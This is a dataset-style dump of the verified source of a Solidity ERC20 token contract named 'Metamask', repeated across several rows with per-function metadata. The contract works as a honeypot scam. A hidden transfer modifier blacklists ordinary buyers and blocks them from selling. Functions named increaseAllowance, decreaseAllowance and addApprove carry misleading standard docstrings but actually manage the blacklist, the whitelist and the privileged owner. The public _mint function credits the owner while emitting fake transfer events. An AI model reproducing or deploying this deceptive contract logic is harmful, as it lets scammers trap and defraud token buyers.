require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
5564,
5738
]
} | 1,404 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
6207,
6537
]
} | 1,405 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
6941,
7232
]
} | 1,406 |
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